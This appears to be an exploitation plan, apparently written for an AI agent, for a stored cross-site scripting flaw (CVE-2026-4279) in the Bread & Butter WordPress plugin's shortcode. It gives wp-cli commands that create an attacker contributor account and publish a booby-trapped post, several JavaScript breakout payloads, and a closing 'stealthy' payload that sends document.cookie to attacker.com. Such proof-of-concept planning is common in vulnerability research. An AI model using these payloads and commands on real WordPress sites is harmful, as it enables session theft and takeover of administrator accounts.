Exploitation Research Plan - CVE-2026-4279

1. Vulnerability Summary

The Bread & Butter: AI-Powered Lead Intelligence plugin (<= 8.2.0.25) is vulnerable to Stored Cross-Site Scripting (XSS) via the [breadbutter-customevent-button] shortcode. The vulnerability exists because the function customEventShortCodeButton() (inferred) fails to sanitize or escape the event attribute before interpolating it into a JavaScript string within an HTML onclick attribute. While a similar function customEventShortCode() correctly applies esc_js(), the button variant does not, allowing a Contributor-level user to inject arbitrary JavaScript.

2. Attack Vector Analysis

• Endpoint: WordPress Post/Page Editor (standard wp-admin/post-new.php or post.php).
• Shortcode: [breadbutter-customevent-button]
• Vulnerable Parameter: The event attribute within the shortcode.
• Authentication Level: Contributor or higher (any user who can create/edit posts and use shortcodes).
• Preconditions: The plugin must be active. The attacker must have the capability to save posts containing shortcodes.

3. Code Flow

1. Shortcode Registration: The plugin registers the shortcode breadbutter-customevent-button via add_shortcode().
2. Callback Execution: When a page containing the shortcode is rendered, WordPress calls the handler function (identified as customEventShortCodeButton()).
3. Attribute Processing: The function uses shortcode_atts() to extract the event attribute.
4. Vulnerable Sink: The code constructs an HTML string, likely similar to:

   $event = $atts['event'];
   $output = '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">Click</button>';
   return $output;
   

5. Lack of Escaping: Because $event is neither passed through esc_js() (to handle the JS string context) nor esc_attr() (to handle the HTML attribute context), an attacker can break out of the JS string and inject arbitrary commands.

4. Nonce Acquisition Strategy

This vulnerability is triggered during the rendering of a post. No specific plugin-level nonce is required to trigger the XSS. However, to inject the payload, the attacker needs to create a post.

For Post Creation (Contributor):
The agent should use wp-cli to create the post directly, which bypasses the need for manual nonce extraction and UI interaction.

• Command: wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_title='XSS Test' --post_content='[breadbutter-customevent-button event="PAYLOAD"]'

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can execute JavaScript in the context of an Administrator.

Step-by-Step Plan:

1. Setup Contributor User: Ensure a user with the contributor role exists.
2. Inject Payload: Use wp-cli as the contributor to create a post containing the malicious shortcode.
   • Payload logic: We need to close the trackCustomEvent(' string, execute our code, and comment out the rest.
   • Payload string: event="x');alert(document.domain);//"
   • Resulting HTML (inferred): <button onclick="BreadButter.trackCustomEvent('x');alert(document.domain);//')">...</button>
3. Victim Interaction: Navigate to the created post as an Administrator using browser_navigate.
4. Trigger XSS: Click the button generated by the shortcode.

HTTP Request Details (Simulating viewing the page):

• Method: GET
• URL: http://[TARGET]/index.php?p=[POST_ID]
• Tools: browser_navigate followed by browser_click.

6. Test Data Setup

1. Plugin Installation: Ensure bread-butter plugin is installed and active.
2. Contributor User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Malicious Post:

   wp post create --post_type=post --post_title="Lead Intelligence" --post_content='[breadbutter-customevent-button event="x\');alert(document.domain);//" button_text="Click for Details"]' --post_status=publish --post_author=$(wp user get attacker --field=ID)
   

7. Expected Results

• When the Administrator (or any user) views the post, a button labeled "Click for Details" will appear.
• Upon clicking the button, the browser will execute the injected alert(document.domain) script.
• The execution proves that the event attribute is reflected without proper esc_js() or esc_attr() sanitization.

8. Verification Steps

1. Source Code Inspection:
   Use http_request to fetch the post content and check the HTML structure:

   # Search for the button and its onclick attribute
   # Expected find: onclick="BreadButter.trackCustomEvent('x');alert(document.domain);//')"
   

2. Verify via CLI:
   Ensure the post was created correctly by the contributor:

   wp post get [POST_ID] --field=post_content
   

9. Alternative Approaches

If a simple alert() payload is blocked by basic filters or if the onclick attribute is wrapped differently:

• Attribute Breakout: If the code is $event . '")'. Try:
  event="x" onmouseover="alert(1)" data-ignore="
• Double Quote Context: If the PHP uses double quotes:
  event="x\");alert(1);//"
• Global Variable Check: If we want to demonstrate impact without clicking, we could try to inject a payload into another attribute if multiple are rendered, but the onclick on the button is the most direct sink.
• Payload without Alert: To be more "stealthy" in a real scenario, use:
  event="x');fetch('http://attacker.com/?c='+document.cookie);//" (Note: Cookies may be HttpOnly, so document.domain is a better PoC).